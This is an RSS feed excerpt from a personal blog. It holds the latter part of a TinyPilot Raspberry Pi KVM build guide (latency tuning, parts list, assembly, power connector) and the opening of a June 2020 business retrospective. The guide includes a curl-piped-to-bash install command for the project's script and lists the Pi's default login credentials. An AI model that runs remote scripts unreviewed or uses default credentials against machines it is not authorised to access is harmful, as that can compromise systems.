&lt;h2 id="improving-video-latency">Improving video latency&lt;/h2>
&lt;p>uStreamer reduced my latency from 10 seconds down to ~600 milliseconds. That was a huge leap forward but still a noticeable delay. I told Max I was interested in funding uStreamer further if he could find ways to improve performance, so we got to chatting.&lt;/p>
&lt;p>Max was interested in the HDMI dongle I was using since he&amp;rsquo;d never seen that particular device. He invited me to create a shared shell session using &lt;a href="https://tmate.io/">tmate&lt;/a> so that he could access my Pi remotely.&lt;/p>




















 
 
 

 
 
 






&lt;figure class="img" style="max-width: 680px">



 &lt;a href="https://mtlynch.io/tinypilot/maxim-tmate.png">
 &lt;img
 
 sizes="(min-width: 768px) 680px, 98vw"
 srcset='https://mtlynch.io/tinypilot/maxim-tmate_hu_b8d6bee8f82a7a6a.png 300w, https://mtlynch.io/tinypilot/maxim-tmate_hu_1c1d0db59d330f64.png 600w, https://mtlynch.io/tinypilot/maxim-tmate.png 680w'
 src="https://mtlynch.io/tinypilot/maxim-tmate.png" alt="Screenshot of conversation where Max ofers to help me via tmate" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Max offered to either help improve latency or frame me for a federal crime. Fortunately, he ended up doing the former.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>After a few minutes of testing how uStreamer ran on my hardware, Max ran the &lt;a href="https://www.mankier.com/1/v4l2-ctl">&lt;code>v4l2-ctl&lt;/code> utility&lt;/a> and saw a line that fascinated him but totally went over my head:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;display:grid;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>$ sudo v4l2-ctl --all
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Driver Info:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Driver name : uvcvideo
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Card &lt;span style="color:#24909d">type&lt;/span> : UVC Camera (534d:2109): USB Vid
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Format Video Capture:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Width/Height : 1280/720
&lt;/span>&lt;/span>&lt;span style="display:flex; background-color:#363636">&lt;span> Pixel Format : &lt;span style="color:#ed9d13">&amp;#39;MJPG&amp;#39;&lt;/span> (Motion-JPEG)
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>...
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Streaming Parameters Video Capture:
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Capabilities : timeperframe
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Frames per second: 30.000 (30/1)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>The HDMI dongle was delivering the video stream in Motion JPEG format! uStreamer&amp;rsquo;s hardware-assisted encoding was fast, but it was totally unnecessary, as modern browsers play Motion JPEG natively.&lt;/p>
&lt;p>We configured uStreamer to skip re-encoding and just pass through the video stream as-is.&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/tinypilot/tinypilot-latency.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/tinypilot/tinypilot-latency_hu_3ed4f78d8f6ad0a8.jpg 300w, https://mtlynch.io/tinypilot/tinypilot-latency_hu_76c599eb7ef60adb.jpg 600w, https://mtlynch.io/tinypilot/tinypilot-latency_hu_4611d4cf48ea559.jpg 800w, https://mtlynch.io/tinypilot/tinypilot-latency_hu_61b07f9f1abedb44.jpg 1200w, https://mtlynch.io/tinypilot/tinypilot-latency.jpg 1600w'
 src="https://mtlynch.io/tinypilot/tinypilot-latency.jpg" alt="Photo showing 200ms of latency after eliminating re-encode step" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Skipping the extra re-encode step on the Pi reduced latency from 600 ms down to 200 ms.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Latency went from 600 milliseconds all the way down to 200 ms. It&amp;rsquo;s not instantaneous, but it&amp;rsquo;s low enough to forget the delay after using it for a few minutes.&lt;/p>
&lt;h2 id="tinypilot-in-action">TinyPilot in action&lt;/h2>
&lt;p>Remember way back at the beginning of this post when I said I wanted TinyPilot so that I could access my headless VM server before it boots? Well, it works and I do!&lt;/p>
&lt;p>I iterated on Key Mime Pi to make a new web interface that integrates the video capture functionality:&lt;/p>
&lt;img src="tinypilot-bios.gif">
&lt;p>I built a new headless VM server this year and used TinyPilot to install &lt;a href="https://www.proxmox.com/en/">Proxmox&lt;/a>, an open-source hypervisor and web interface for managing VMs.&lt;/p>
&lt;p>TinyPilot allowed me to manage the entire install from my browser. It was definitely more pleasant than my old process of dragging computers around and swapping cables back and forth.&lt;/p>
&lt;h2 id="how-to-build-your-own-tinypilot">How to build your own TinyPilot&lt;/h2>
&lt;h3 id="parts-list">Parts list&lt;/h3>
&lt;ul>
&lt;li>&lt;a href="https://smile.amazon.com/Raspberry-Model-2019-Quad-Bluetooth/dp/B07TD42S27/">Raspberry Pi 4&lt;/a> (all variants work)&lt;/li>
&lt;li>&lt;a href="https://www.amazon.com/Anker-2-Pack-Premium-Charging-Samsung/dp/B07DC5PPFV/">USB-C to USB-A cable&lt;/a> (Male/Male)&lt;/li>
&lt;li>&lt;a href="https://www.ebay.com/itm/284886683842">HDMI to USB capture dongle&lt;/a>
&lt;ul>
&lt;li>Strangely, these don&amp;rsquo;t have a brand name, but you can recognize them &lt;a href="hdmi-dongle.jpg">by their appearance&lt;/a>.&lt;/li>
&lt;li>They&amp;rsquo;re generally available on eBay for $11-15.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/Sandisk-Ultra-Micro-UHS-I-Adapter/dp/B073K14CVB/">microSD card&lt;/a> (Class 10, 8 GB or larger)&lt;/li>
&lt;li>&lt;a href="https://smile.amazon.com/Cable-DisplayPort-marca-AmazonBasics-longitud/dp/B015OW3M1W/">HDMI to HDMI cable&lt;/a>
&lt;ul>
&lt;li>Or [other] to HDMI, depending on how your target machine displays output.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>(Optional) &lt;a href="https://tinypilotkvm.com/product/tinypilot-power-connector">A USB-C OTG split connector&lt;/a>
&lt;ul>
&lt;li>Requires two additional &lt;a href="https://smile.amazon.com/gp/product/B01JPDTZXK/">USB-A to microUSB cables&lt;/a> and a &lt;a href="https://smile.amazon.com/dp/B0728HB18G">3 Amp power adapter&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>(Optional) A cooling case, heat sink, or fan
&lt;ul>
&lt;li>Choose a case that provides access to the Pi&amp;rsquo;s GPIO pins.&lt;/li>
&lt;li>I use &lt;a href="https://shop.pimoroni.com/products/aluminium-heatsink-case-for-raspberry-pi-4?variant=29430673178707">this minimalist, passive cooling case&lt;/a>.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;h3 id="install-raspberry-pi-os-lite">Install Raspberry Pi OS Lite&lt;/h3>
&lt;p>To begin, install &lt;a href="https://www.raspberrypi.org/downloads/raspberry-pi-os/">Raspberry Pi OS lite&lt;/a> (formerly known as Raspbian) on a microSD card.&lt;/p>




















 
 
 







&lt;figure class="img" style="max-width: 418px">



 &lt;a href="https://mtlynch.io/tinypilot/rufus-install.png">
 &lt;img
 
 sizes="(min-width: 768px) 418px, 98vw"
 srcset='https://mtlynch.io/tinypilot/rufus-install_hu_465096d2bc8bc934.png 300w, https://mtlynch.io/tinypilot/rufus-install.png 418w'
 src="https://mtlynch.io/tinypilot/rufus-install.png" alt="Screenshot of Rufus" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>I use &lt;a href="https://rufus.ie">Rufus&lt;/a> to write my Pi micro SD cards, but any whole disk imaging tool will work.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;p>Enable SSH access by placing a file called &lt;code>ssh&lt;/code> on the microSD&amp;rsquo;s boot partition. If you&amp;rsquo;re connecting over wireless, you also need a &lt;a href="https://www.raspberrypi.org/documentation/configuration/wireless/headless.md">&lt;code>wpa_supplicant.conf&lt;/code> file&lt;/a>.&lt;/p>
&lt;p>When you finish preparing the microSD card, insert it into your Pi device.&lt;/p>
&lt;h3 id="install-a-case-optional">Install a case (optional)&lt;/h3>
&lt;p>The Raspberry Pi 4 famously &lt;a href="https://www.jeffgeerling.com/blog/2019/best-way-keep-your-cool-running-raspberry-pi-4">generates a lot of heat&lt;/a>. You can run it fine without cooling, but you&amp;rsquo;ll likely hit stability issues over time.&lt;/p>
&lt;p>I like &lt;a href="https://shop.pimoroni.com/products/aluminium-heatsink-case-for-raspberry-pi-4?variant=29430673178707">this minimalist case&lt;/a> because it&amp;rsquo;s inexpensive and passively cools the Pi without the complexity of a powered fan:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 600px">



 &lt;a href="https://mtlynch.io/tinypilot/minimal-case.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 600px, 98vw"
 srcset='https://mtlynch.io/tinypilot/minimal-case_hu_3557c6471dfe9895.jpg 300w, https://mtlynch.io/tinypilot/minimal-case_hu_f150589544d25ece.jpg 600w, https://mtlynch.io/tinypilot/minimal-case_hu_15be895e32727701.jpg 800w, https://mtlynch.io/tinypilot/minimal-case_hu_2d45f5748ba50d18.jpg 1200w, https://mtlynch.io/tinypilot/minimal-case.jpg 1600w'
 src="https://mtlynch.io/tinypilot/minimal-case.jpg" alt="Minimal aluminum case for Raspberry Pi" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>This &lt;a href="https://shop.pimoroni.com/products/aluminium-heatsink-case-for-raspberry-pi-4?variant=29430673178707">minimalist aluminum case&lt;/a> cools your Pi well without the complexity of a fan.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h3 id="connect-to-the-machine-via-usb">Connect to the machine via USB&lt;/h3>
&lt;p>To enable TinyPilot to function as a virtual keyboard, connect your Pi&amp;rsquo;s USB-C port to a USB-A port on the target machine:&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/tinypilot/usb-cable.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/tinypilot/usb-cable_hu_c26c3c21b0980b9f.jpg 300w, https://mtlynch.io/tinypilot/usb-cable_hu_813a34bb4a0880d2.jpg 600w, https://mtlynch.io/tinypilot/usb-cable_hu_66d0317ff22ed84b.jpg 800w, https://mtlynch.io/tinypilot/usb-cable_hu_16e9a344ec9735cf.jpg 1200w, https://mtlynch.io/tinypilot/usb-cable.jpg 1600w'
 src="https://mtlynch.io/tinypilot/usb-cable.jpg" alt="USB connection to Raspberry Pi" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/tinypilot/usb-server.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/tinypilot/usb-server_hu_bf02cce8700a8a0b.jpg 300w, https://mtlynch.io/tinypilot/usb-server_hu_2f4417060332fd8c.jpg 600w, https://mtlynch.io/tinypilot/usb-server_hu_6037eceb64050ae.jpg 800w, https://mtlynch.io/tinypilot/usb-server_hu_651a1c997713ad5.jpg 1200w, https://mtlynch.io/tinypilot/usb-server.jpg 3024w'
 src="https://mtlynch.io/tinypilot/usb-server.jpg" alt="USB connection to target computer" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>With a USB-C to USB-A cable, connect the USB-C end to the Pi&amp;rsquo;s USB-C port and the USB-A end to the target computer.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: Prefer USB 3.0 ports, as they provide more power to the Pi.
&lt;/div>

&lt;h3 id="attach-the-hdmi-capture-dongle">Attach the HDMI capture dongle&lt;/h3>
&lt;p>To complete the physical assembly, insert the HDMI dongle into one of the Pi&amp;rsquo;s USB ports. Then, connect an HDMI cable to the dongle, and plug the other end into the display output of your target computer.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/tinypilot/hdmi-insert.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/tinypilot/hdmi-insert_hu_e5721a0ebf63cc65.jpg 300w, https://mtlynch.io/tinypilot/hdmi-insert_hu_bc869a23ca93afec.jpg 600w, https://mtlynch.io/tinypilot/hdmi-insert_hu_1e587201c9d51fd5.jpg 800w, https://mtlynch.io/tinypilot/hdmi-insert_hu_64be2ccf4677a9e3.jpg 1200w, https://mtlynch.io/tinypilot/hdmi-insert.jpg 1600w'
 src="https://mtlynch.io/tinypilot/hdmi-insert.jpg" alt="HDMI input connection to Raspberry Pi" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/tinypilot/hdmi-server.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/tinypilot/hdmi-server_hu_bf53666c022286d7.jpg 300w, https://mtlynch.io/tinypilot/hdmi-server_hu_1bbd89eeea1ebda4.jpg 600w, https://mtlynch.io/tinypilot/hdmi-server_hu_d659539dcbb96003.jpg 800w, https://mtlynch.io/tinypilot/hdmi-server_hu_97073444c83bfedb.jpg 1200w, https://mtlynch.io/tinypilot/hdmi-server.jpg 1600w'
 src="https://mtlynch.io/tinypilot/hdmi-server.jpg" alt="HDMI output connection from target computer" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>Connect the display output of the target computer to the HDMI dongle and insert it into the Pi&amp;rsquo;s USB port.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: If the computer you&amp;rsquo;re connecting to has no HDMI output, you should be able to use a &lt;a href="https://smile.amazon.com/Rankie-DisplayPort-Cable-Resolution-Ready/dp/B00Z05JMKO/">DisplayPort to HDMI cable&lt;/a> or a &lt;a href="https://smile.amazon.com/AmazonBasics-DVI-to-HDMI-Cable/dp/B014I8UQJY/">DVI to HDMI cable&lt;/a>, though I haven&amp;rsquo;t tested these personally.
&lt;/div>

&lt;h3 id="connect-an-ethernet-cable">Connect an Ethernet cable&lt;/h3>
&lt;p>If you&amp;rsquo;re connecting to your Pi over wired LAN, attach a network cable to your Pi&amp;rsquo;s Ethernet port:&lt;/p>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/tinypilot/ethernet-cable.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/tinypilot/ethernet-cable_hu_7477872f0c96fc84.jpg 300w, https://mtlynch.io/tinypilot/ethernet-cable_hu_5bfd4e19b84eaa7c.jpg 600w, https://mtlynch.io/tinypilot/ethernet-cable_hu_8bc6ba8760b27897.jpg 800w, https://mtlynch.io/tinypilot/ethernet-cable_hu_f0693343bedaef7c.jpg 1200w, https://mtlynch.io/tinypilot/ethernet-cable.jpg 3000w'
 src="https://mtlynch.io/tinypilot/ethernet-cable.jpg" alt="Photo of Ethernet cable connected to Pi device" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>Connect an Ethernet cable to your Pi.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;div class="notice notice-info">
 &lt;strong>Note&lt;/strong>: You can skip this step if you configured wireless access by adding a &lt;code>wpa_supplicant.conf&lt;/code> file &lt;a href="#install-raspberry-pi-os-lite">above&lt;/a>.
&lt;/div>

&lt;h3 id="install-the-tinypilot-software">Install the TinyPilot software&lt;/h3>
&lt;p>SSH into your Pi device (default credentials for Raspberry Pi OS are &lt;code>pi&lt;/code> / &lt;code>raspberry&lt;/code>), and run the following commands:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span>curl -sS https://raw.githubusercontent.com/tiny-pilot/tinypilot/master/quick-install &lt;span style="color:#ed9d13">\
&lt;/span>&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#ed9d13">&lt;/span> | bash -
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>sudo reboot
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>If you&amp;rsquo;re appropriately suspicious of piping a random web script into your shell, I encourage you to inspect &lt;a href="https://github.com/tiny-pilot/tinypilot/blob/master/quick-install">the source&lt;/a>.&lt;/p>
&lt;p>The script bootstraps a self-contained &lt;a href="https://docs.ansible.com/ansible/latest/index.html">Ansible&lt;/a> environment with my &lt;a href="https://github.com/tiny-pilot/ansible-role-tinypilot">TinyPilot Ansible role&lt;/a>. It installs four services that run on every boot:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://nginx.org/">nginx&lt;/a>: a popular open-source web server&lt;/li>
&lt;li>&lt;a href="https://github.com/pikvm/ustreamer">ustreamer&lt;/a>: a lightweight HTTP video streaming server&lt;/li>
&lt;li>&lt;a href="https://github.com/tiny-pilot/tinypilot/blob/4587f989b6d479034a64b2411c1c9964cdad7261/scripts/usb-gadget/init-usb-gadget">usb-gadget&lt;/a>: a script enabling Pi&amp;rsquo;s &amp;ldquo;USB gadget mode,&amp;rdquo; which allows the Pi to impersonate USB devices&lt;/li>
&lt;li>&lt;a href="https://github.com/tiny-pilot/tinypilot">tinypilot&lt;/a>: the web interface I created for TinyPilot&lt;/li>
&lt;/ul>
&lt;h2 id="using-tinypilot">Using TinyPilot&lt;/h2>
&lt;p>After you run the install script, TinyPilot will be available at:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="http://raspberrypi/">http://raspberrypi/&lt;/a>&lt;/li>
&lt;/ul>













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;figure class="img" style="max-width: 700px">



 &lt;a href="https://mtlynch.io/tinypilot/tinypilot-hello-world.png">
 &lt;img
 
 sizes="(min-width: 768px) 700px, 98vw"
 srcset='https://mtlynch.io/tinypilot/tinypilot-hello-world_hu_b8dc10992f362df5.png 300w, https://mtlynch.io/tinypilot/tinypilot-hello-world_hu_93444164f63e5b7c.png 600w, https://mtlynch.io/tinypilot/tinypilot-hello-world_hu_d8d4eea2f5569af2.png 800w, https://mtlynch.io/tinypilot/tinypilot-hello-world_hu_7449521b42b3310a.png 1200w, https://mtlynch.io/tinypilot/tinypilot-hello-world.png 1541w'
 src="https://mtlynch.io/tinypilot/tinypilot-hello-world.png" alt="Screenshot of TinyPilot web interface" loading="lazy"/>
 &lt;/a>



&lt;figcaption>&lt;p>When setup is complete, you can access TinyPilot&amp;rsquo;s web interface at &lt;a href="http://raspberrypi/">http://raspberrypi/&lt;/a> on your local network.&lt;/p>&lt;/figcaption>
&lt;/figure>


&lt;h2 id="the-power-problem">The power problem&lt;/h2>
&lt;p>The biggest limitation of this setup is power. Relying on the target computer for power means that when the target shuts down, the Pi suffers an unexpected power cut.&lt;/p>
&lt;p>Further, The Pi 4 needs 3 Amps for stable operation, though it can run at lower power. A computer&amp;rsquo;s USB 3.0 port provides only 0.9 Amps and USB 2.0 provides only 0.5 Amps, which is why you may see these warnings in the Pi&amp;rsquo;s system logs:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">&lt;code class="language-bash" data-lang="bash">&lt;span style="display:flex;">&lt;span> $ sudo journalctl -xe | grep &lt;span style="color:#ed9d13">&amp;#34;Under-voltage&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Jun &lt;span style="color:#3677a9">28&lt;/span> 06:23:15 tinypilot kernel: Under-voltage detected! (0x00050005)
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>To solve this problem, I worked with an engineering firm to create &lt;a href="https://tinypilotkvm.com/product/tinypilot-power-connector">a custom circuit board&lt;/a> that splits the Pi&amp;rsquo;s USB-C port into two. The first port accepts USB power, so you can still deliver a full 3 Amps to the Pi. The second accepts USB data out, so the Pi can still impersonate a USB keyboard.&lt;/p>


&lt;figure class="gallery">
 &lt;div class="img-container">
 













 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/tinypilot/power-connector.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/tinypilot/power-connector_hu_f611747a0a0e2d4e.jpg 300w, https://mtlynch.io/tinypilot/power-connector_hu_b7a9d01e97db4838.jpg 600w, https://mtlynch.io/tinypilot/power-connector_hu_10d8aa45334a1d33.jpg 800w, https://mtlynch.io/tinypilot/power-connector_hu_e8a30fcd33f25aa1.jpg 1200w, https://mtlynch.io/tinypilot/power-connector.jpg 1600w'
 src="https://mtlynch.io/tinypilot/power-connector.jpg" alt="Close-up of power connector" loading="lazy"/>
 &lt;/a>



&lt;/div>















 








 
 
 

 
 
 

 
 
 

 
 
 




&lt;div class="img" style="max-width: 500px">



 &lt;a href="https://mtlynch.io/tinypilot/power-connector-cables.jpg">
 &lt;img
 
 sizes="(min-width: 768px) 500px, 98vw"
 srcset='https://mtlynch.io/tinypilot/power-connector-cables_hu_1a6ebd8fd55a034b.jpg 300w, https://mtlynch.io/tinypilot/power-connector-cables_hu_80638e6dea36ec06.jpg 600w, https://mtlynch.io/tinypilot/power-connector-cables_hu_90eda5504f50cad.jpg 800w, https://mtlynch.io/tinypilot/power-connector-cables_hu_c1667d313c6e49bd.jpg 1200w, https://mtlynch.io/tinypilot/power-connector-cables.jpg 1600w'
 src="https://mtlynch.io/tinypilot/power-connector-cables.jpg" alt="Power connector hooked up to Raspberry Pi and microUSB cables" loading="lazy"/>
 &lt;/a>



&lt;/div>



 &lt;/div>
 &lt;figcaption>&lt;p>The &lt;a href="https://tinypilotkvm.com/product/tinypilot-power-connector">TinyPilot Power Connector&lt;/a> allows the Pi to receive 3 Amps of power through its USB-C port without losing USB OTG functionality.&lt;/p>&lt;/figcaption>
&lt;/figure>

&lt;p>Importantly, the power connector&amp;rsquo;s data port excludes a USB power line. This ensures that voltage differences between the computer&amp;rsquo;s power source and the Pi&amp;rsquo;s power source won&amp;rsquo;t cause undesirable power backflows.&lt;/p>
&lt;div class="notice notice-warning">
 &lt;strong>Note&lt;/strong>: Without a proper connector, there&amp;rsquo;s a risk of hardware damage if you power the Pi from an external power source while it&amp;rsquo;s connected to a computer. See &lt;a href="https://github.com/tiny-pilot/tinypilot/wiki/Powering-your-TinyPilot-safely">the TinyPilot wiki&lt;/a> for additional details.
&lt;/div>

&lt;h2 id="source-code">Source code&lt;/h2>
&lt;p>TinyPilot&amp;rsquo;s software is open-source under the permissive &lt;a href="https://opensource.org/licenses/MIT">MIT license&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://github.com/tiny-pilot/tinypilot.git">tinypilot&lt;/a>: The TinyPilot web interface and backend.&lt;/li>
&lt;li>&lt;a href="https://github.com/tiny-pilot/ansible-role-tinypilot">ansible-role-tinypilot&lt;/a>: The Ansible role for installing TinyPilot and its dependencies as systemd services.&lt;/li>
&lt;/ul>
&lt;h2 id="pre-made-tinypilot-devices">Pre-made TinyPilot devices&lt;/h2>
&lt;p>Pre-made TinyPilot devices are available for purchase at &lt;a href="https://tinypilotkvm.com/">the TinyPilot website&lt;/a>. I was the original founder of TinyPilot, the company, but &lt;a href="https://mtlynch.io/i-sold-tinypilot/">I sold the business in April 2024&lt;/a> and now have no relationship to the company except as an enthusiastic user.&lt;/p>
&lt;hr>
&lt;p>&lt;em>Special thanks to Max Devaev for his incredible work on &lt;a href="https://github.com/pikvm/ustreamer">uStreamer&lt;/a> and his contributions to TinyPilot.&lt;/em>&lt;/p></content:encoded></item><item><title>Is It Keto: Month 13</title><link>https://mtlynch.io/retrospectives/2020/07/</link><pubDate>Thu, 02 Jul 2020 00:00:00 +0000</pubDate><guid>https://mtlynch.io/retrospectives/2020/07/</guid><description>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I sold my first pre-order for &lt;a href="https://tinypilotkvm.com/">KVM Pi&lt;/a>.&lt;/li>
&lt;li>Finding new ways to monetize &lt;a href="https://isitketo.org">Is It Keto&lt;/a> is proving more difficult than I expected.&lt;/li>
&lt;li>I sold an Enterprise plan for &lt;a href="https://zestfuldata.com">Zestful&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="validate-ideas-for-a-sister-product-to-is-it-keto">Validate ideas for a sister product to Is It Keto&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Tried a few different landing pages, but nothing gained traction&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I forgot how difficult it is to find potential customers and engage them in thoughtful conversations about what kind of products or features would interest them.&lt;/p></description><content:encoded>&lt;h2 id="highlights">Highlights&lt;/h2>
&lt;ul>
&lt;li>I sold my first pre-order for &lt;a href="https://tinypilotkvm.com/">KVM Pi&lt;/a>.&lt;/li>
&lt;li>Finding new ways to monetize &lt;a href="https://isitketo.org">Is It Keto&lt;/a> is proving more difficult than I expected.&lt;/li>
&lt;li>I sold an Enterprise plan for &lt;a href="https://zestfuldata.com">Zestful&lt;/a>.&lt;/li>
&lt;/ul>
&lt;h2 id="goal-grades">Goal grades&lt;/h2>
&lt;p>At the start of each month, I declare what I&amp;rsquo;d like to accomplish. Here&amp;rsquo;s how I did against those goals:&lt;/p>
&lt;h3 id="validate-ideas-for-a-sister-product-to-is-it-keto">Validate ideas for a sister product to Is It Keto&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Tried a few different landing pages, but nothing gained traction&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: B-&lt;/li>
&lt;/ul>
&lt;p>I forgot how difficult it is to find potential customers and engage them in thoughtful conversations about what kind of products or features would interest them.&lt;/p>
&lt;p>I created ads and landing pages to test product ideas, but they led to very few actual conversations.&lt;/p>
&lt;h3 id="add-30-new-articles-to-is-it-keto">Add 30 new articles to Is It Keto&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Added 30 new articles to Is It Keto&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>30 ended up being a good target. It pushed me to keep adding content but wasn&amp;rsquo;t so much that it occupied all my time or forced me to skimp on quality.&lt;/p>
&lt;p>I intentionally scaled down my output from &lt;a href="https://mtlynch.io/retrospectives/2020/05/#goals-for-next-month">May&amp;rsquo;s goal of 100 new articles&lt;/a> because I want to see if my auto-generated content strategy works before I go all in. There tends to be a lag of up to three months before Google bubbles my pages to the top of relevant search queries, so I&amp;rsquo;ll have a better idea in August whether the content I added in April is succeeding.&lt;/p>
&lt;h3 id="create-a-working-pi-based-kvm-over-ip-controllable-through-the-web-browser">Create a working Pi-based KVM over IP, controllable through the web browser&lt;/h3>
&lt;ul>
&lt;li>&lt;strong>Result&lt;/strong>: Created &lt;a href="https://tinypilotkvm.com/">KVM Pi&lt;/a>, which works better than I expected&lt;/li>
&lt;li>&lt;strong>Grade&lt;/strong>: A&lt;/li>
&lt;/ul>
&lt;p>KVM Pi now works and is extremely usable. I thought the first version would be more finicky or brittle, but I&amp;rsquo;ve been using it to &lt;a href="kvmpi-os-install.mp4">manage my server&lt;/a> and &lt;a href="kvmpi-typing-demo.mp4">run demos&lt;/a>, and it&amp;rsquo;s all pretty smooth.&lt;/p>
&lt;p>There are &lt;a href="https://github.com/tiny-pilot/tinypilot/milestone/2">a few bugs&lt;/a> I want to close before I start shipping them next week, but I&amp;rsquo;m still ahead of schedule. I&amp;rsquo;m also working on a blog post and YouTube video that I think can generate excitement around the product.&lt;/p>
&lt;h2 id="stats">Stats&lt;/h2>
&lt;h3 id="revenue-overview">Revenue overview&lt;/h3>
&lt;table>
 &lt;thead>
 &lt;tr>
 &lt;th>Project&lt;/th>
 &lt;th>May 2020&lt;/th>
 &lt;th>June 2020&lt;/th>
 &lt;th>Change&lt;/th>
 &lt;/tr>
 &lt;/thead>
 &lt;tbody>
 &lt;tr>
 &lt;td>&lt;a href="https://isitketo.org">Is It Keto&lt;/a>&lt;/td>
 &lt;td>$221.53&lt;/td>
 &lt;td>$180.66&lt;/td>
 &lt;td>&lt;font color="red">-$40.87 (-18%)&lt;/font>&lt;/td>
 &lt;/tr>
 &lt;tr>
 &lt;td>&lt;a href="https://zestfuldata.com">Zestful&lt;/a>&lt;/td>
 &lt;td>$6.48&lt;/td>
 &lt;td>$685.26&lt;/td>
